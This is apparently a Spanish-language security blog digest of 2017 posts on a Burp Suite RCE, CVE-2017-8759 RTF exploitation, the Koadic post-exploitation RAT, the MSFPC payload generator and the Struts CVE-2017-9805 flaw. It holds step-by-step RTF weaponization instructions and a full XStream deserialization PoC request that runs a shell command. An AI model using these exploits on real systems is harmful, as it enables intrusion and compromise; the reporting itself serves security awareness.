https://docs.google.com/presentation/d/1p8QiqbGndcEx1gm4_d3ne2fqeTqCTurTC77Lxe82zLY/edit#slide=id.p

Las secciones, actualizadas la mayoría hace cuatro meses, son las siguientes:

Atacando al atacante: vulnerabilidad RCE en Burp Suite 1.7.27

Probablemente Burp Suite es en la actualidad la herramienta de facto para el pentesting web. No es sólo un proxy para interceptar las peticiones entre el navegador y la aplicación destino, también incluye módulos para hacer escaneos activos, spidering, repetidor, intruder, etc. y no para de crecer el número de módulos y extensiones.

Por esa razón, cada vez hay más y más hackers y pentesters que la utilizan para auditar y comprometer aplicaciones web. Pero, ¿y si fuera la aplicación auditada la que acabara comprometiendo al auditor? Hackear a un hacker… sexy verdad?

Pues hoy veía un video de Sultan Albalawi en el que precisamente se mostraba eso, como es posible conseguir ejecución remota de comandos contra la máquina del atacante debido a una vulnerabilidad en la última versión de Burp Suite, la 1.7.27:


Imaginaros… la cantidad de honeypots que podrían instalarse en aplicaciones web a la espera de ser revisadas por incautos auditores que no imaginan si quiera que pudiera darse la vuelta a la tortilla…

De momento no he podido obtener detalle de la vulnerabilidad ni el código fuente de la PoC, mientras... si lo consigues.. ¡comenta!

Explotando CVE-2017-8759: inyección de código en el parser WSDL SOAP (sólo haciendo clic en un RTF y sin necesidad de habilitar macros)

Recientemente FireEye descubrió una vulnerabilidad de inyección de código que se produce en el marco .NET al analizar un WSDL utilizando el moniker SOAP. Bautizada como CVE-2017-8759, ya se estaba explotando en Internet mediante un documento de Microsoft Word en ruso “Проект.doc” con el que los atacantes conseguían ejecución de comandos y descargaban y ejecutaban un script en Visual Basic que contenía también comandos en Powershell. Se trataba del malware FINSPY también conocido como FinFisher o WingBird.

Posteriormente, la gente de MDSec publicó un interesante artículo donde explican cómo explotar esta vulnerabilidad pero además sin la interacción del usuario en el RTF, es decir, solo con hacer clic ya se obtiene la ejecución de comandos, sin necesidad de habilitar las macros.

En primer lugar, hay que crear un documento con un nuevo objeto OLE (nuevo documento, insertar objeto y crear desde archivo):


A continuación, guardamos el archivo como RTF y volvemos a abrirlo usando un editor hexadecimal. Después localizamos el parámetro "objdata" para identificar dónde está el OLE blob. Cuando encontremos el parámetro, debemos agregar la directiva "\objupdate". Por ejemplo:

{\object\objautlink\objupdate\rsltpict\objw9027\objh450{\*\objclass Word.Document.8}{\*\objdata

Una vez editado, descargamos "blob.bin" de este repositorio GitHub, lo abrimos de nuevo con un editor hexadecimal y actualizamos la URL del archivo WSDL que contiene la inyección de comandos. El OLE blob debe ser utilizado para reemplazar el del documento RTF existente.

En este punto, al abrir el documento RTF, el exploit debería ejecutar el archivo HTA señalado en el WSDL, sin interacción del usuario.

A continuación se muestra un vídeo sobre cómo explotar esta vulnerabilidad:

Fuente: Exploiting CVE-2017-8759: SOAP WSDL Parser Code Injection

WinConMon o cómo monitorizar la consola de Windows

A principio del mes de septiembre, en el blog de FireEye, Andrew Davis publicó un par de artículos bastante interesantes en los que hablaba de cómo estaba implementada la consola en las distintas versiones de Windows y de los conceptos necesarios para capturar los datos que se escriben en la misma:

https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html
https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-two.html

Cómo podéis imaginar, capturar esta actividad permite algo tan útil como monitorizar el uso de programas de consola interactivos a través de RDP como el símbolo del sistema, PowerShell y, a veces, herramientas personalizadas de control de comandos y control (C2). Sin embargo, el código fuente para hacerlo no fue desvelado :(

Ante tal intransigencia de la gente de Fireye, el mismísimo Ojo de Ra (aka @EyeOfRa) desde HaNoi, VietNam, ha desarrollado WinConMon su propia versión para monitorizar la consola de Windows (a partir de Windows 8). Por supuesto tenéis disponible el código en Github y sólo necesitaréis Visual Studio 2015 (con WDK 10), Osrloader v3.0 y DbgView para montaros una PoC rápida.

Demo:


Github: https://github.com/EyeOfRa/WinConMon

Koadic: post-explotación usando Windows Script Host

En la pasada Defcon, el Red Team de RiskSense presentó una interesante herramienta que ellos describen como un "Advanced JScript/VBScript RAT"

Se trata de Koadic o COM Command & Control, un rootkit de post-explotación de Windows similar a otras herramientas de pentesting como Meterpreter, Cobalt Strike o Powershell Empire.

La principal diferencia es que Koadic hace la mayoría de sus operaciones usando Windows Script Host (aka JScript/VBScript) y tiene compatibilidad para soportar desde una instalación predeterminada de Windows 2000 sin service packs (y potencialmente incluso versiones de NT4) hasta Windows 10.

Es posible servir completamente los payloads en memoria desde el stage 0, así como utilizar comunicaciones cifradas seguras a través de SSL y TLS (dependiendo de lo que haya habilitado el sistema operativo de víctima).

Koadic también intenta ser compatible con Python 2 y 3.

Demo

- Hookea un zombie
- Eleva integridad (UAC Bypass)
- Vuelca la SAM/SECURITY para obtener contraseñas
- Escanea la red local para SMB abiertos
- Pivota a otra máquina

Interesante lista de procesos de Windows que un software malicioso intenta matar

Por lo general, las piezas modernas de malware implementan técnicas anti-depuración y anti-VM. Realizan algunas comprobaciones contra el objetivo y cuando se encuentra un resultado positivo, salen en silencio ...

Esas comprobaciones pueden estar probando la resolución de la pantalla, la actividad de un usuario conectado, la presencia de archivos en el escritorio, etc. Pero también buscan interesantes procesos que podrían revelar que están siendo monitorizados o depurados. Esto se consigue normalmente a través de la llamada al sistema GetProcessesByName.
Por ejemplo:

processName = "tool_executed_by_analyst"
processList = Process.GetProcessesByName(processName)
If processList.Count > 0 Then
    ' Process is running, exit silently...
Else
    ' Process is not running, do our malicious stuff...
End If

Pero esta vez, Xavier Mertens del blog /dev/random nos hablaba de un artefacto algo mas tosco que no buscaba procesos sospechosos para salir de forma silenciosa, si no que directamente intentaba terminar un montón de procesos directamente con taskkill.exe:

taskkill.exe /IM /T /F

"/IM" se refiere al nombre de la imagen del proceso, "/T" significa terminar todos los procesos secundarios y "/F" significa forzar matar el proceso . Como podéis imaginar, una técnica bastante agresiva.

De cualquier forma, es interesante tener esta lista de procesos que, como veréis a continuación, algunos son bien conocidos y otros bastante exóticos:

MSFvenom Payload Creator (MSFPC), una forma rápida de generar payloads de Meterpreter con Msfvenom

MSFvenom Payload Creator (MSFPC) es un wrapper para generar múltiples tipos de payloads, basados en la elección del usuario. La idea es ser tan simple como sea posible (sólo requiere una entrada) para producir un payload.

El objetivo final es la completa automatización de msfvenom y Metasploit (así como ser capaz de automatizarse a sí mismo). El resto es hacer que la vida del usuario sea lo más sencilla posible (por ejemplo mediante un menú de selección de IP, archivos/comandos de recursos de msfconsole, creación de payloads por lotes y posibilidad de ingresar cualquier argumento en cualquier orden).

La única entrada necesaria del usuario debería ser la definición que quiere del payload con la plataforma (por ejemplo, Windows) y la extensión de archivo que quiere que tenga (por ejemplo, exe).
  • ¿No puedes recordar la IP de una interfaz? No te preocupes, simplemente usa el nombre de la interfaz: eth0.
  • ¿No sabes cuál es tu IP externa? MSFPC lo descubrirá: wan.
  • ¿Quieres generar un payload de cada? ¡Sin problema! Prueba: loop.
  • ¿Quieres crear payloads masivamente? ¿Todos? ¿O filtrar la selección? .. Se cual sea la elección no hay problema. Prueba: batch (para todos), batch MSF (para cada opción Meterpreter), batch staged (para todos los payloads staged) o batch cmd stageless (para todos los prompts de comandos stageless)!
Nota: Esto NO intentará bypassear ninguna solución antivirus en ninguna etapa.

Instalación
  • Diseñado para Kali Linux v2.x/Rolling y Metasploit v4.11+.
  • En Kali v1.x debería funcionar.
  • En OSX 10.11+ debería funcionar.
  • En Weakerth4n 6+ debería funcionar.
  • ...no se ha probado en nada más.
$ curl -k -L "https://raw.githubusercontent.com/g0tmi1k/mpc/master/msfpc.sh" > /usr/local/bin/msfpc
$ chmod 0755 /usr/local/bin/msfpc

Nuevo exploit crítico para Struts (CVE-2017-9805): de la deserialización insegura a RCE

Investigadores de LGTM, una compañía que ofrece soluciones de análisis de código, reportaron el 17 de julio una vulnerabilidad crítica que afecta al plugin REST de todas las versiones de Apache Struts publicadas desde 2008, de la 2.5 a la 2.5.12.

La vulnerabilidad etiquetada con el CVE CVE-2017-9805 (S2-052) permite ejecución remota de comandos (RCE) gracias a un proceso inseguro de deserialización de payloads XML que realiza el plugin REST mediante el manejador XStream. Más concretamente mediante el interfaz ContentTypeHandler, el cual convierte los datos de entrada del usuario en objetos java. El método toObject() que utiliza no impone ninguna restricción en los datos que recibe y, como podéis imaginar, si se envía un XML malicioso el resultado es la ejecución arbitraria de comandos que comentamos.

El parche para dicha vulnerabilidad fue publicado el pasado martes con la versión de Struts 2.5.13, pero el problema es que a partir de ahí han surgido pruebas de concepto y exploits funcionales (incluso un módulo de metasploit) que permiten comprometer a numerosas aplicaciones web que utilizan el plugin REST (la mayoría en entornos enterprise) y que, dado la reciente publicación del parche, todavía no han sido actualizadas.

Para más inri, “es increiblemente fácil de explotar por un atacante … todo lo que necesitas es un navegador web”, sirva de ejemplo la siguiente PoC:
POST /struts2-rest-showcase/orders/3 HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: application/xml
Content-Length: 2447
Connection: close

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>/bin/sh</string><string>-c</string><string>ping -c 1 192.168.2.122</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Y cómo se puede ver en las siguientes imágenes, con el nuevo módulo de Metasploit nos traemos una sesión de Meterpreter fácilmente:



Así que, como habéis podido comprobar, existen numerosas empresas que utilizan Apache Struts2 en alguna de sus aplicaciones web y están en serio riesgo.

Es la segunda vulnerabilidad crítica que afecta a este framework, después de la etiquetada como CVE-2017-5638 y que fue activamente explotada en marzo. No queda otra, hay que volver a actualizar y urgentemente...

Fuentes:

- Using QL to find a remote code execution vulnerability in Apache Struts (CVE-2017-9805)
- New Critical Apache Struts2 Vulnerability Found (CVE-2017-9805)
- New Apache Struts Vulnerability Puts Many Fortune Companies at Risk
- S2-052的POC测试,高危Struts REST插件远程代码执行漏洞(S2-052),S2-052的 Poc
- Struts2-052 RCE CVE-2017-9805漏洞复现分析【附GIF】
- S2-052的POC测试(原名:Tomcat部署war)
- Critical vulnerability CVE-2017-9805 in Apache Struts could be exploited by attackers to take over affected web servers
- Add Apache Struts 2 REST Plugin XStream RCE (Metasploit)
- Apache Struts RCE tool for CVE 2017-9805 (Go)
- Struts CVE-2017-9805 RCE flaw could be exploited to take over vulnerable servers
- A critical Apache Struts security flaw makes it 'easy' to hack Fortune 100 firms
- Java Unmarshaller Security - Turning your data into code execution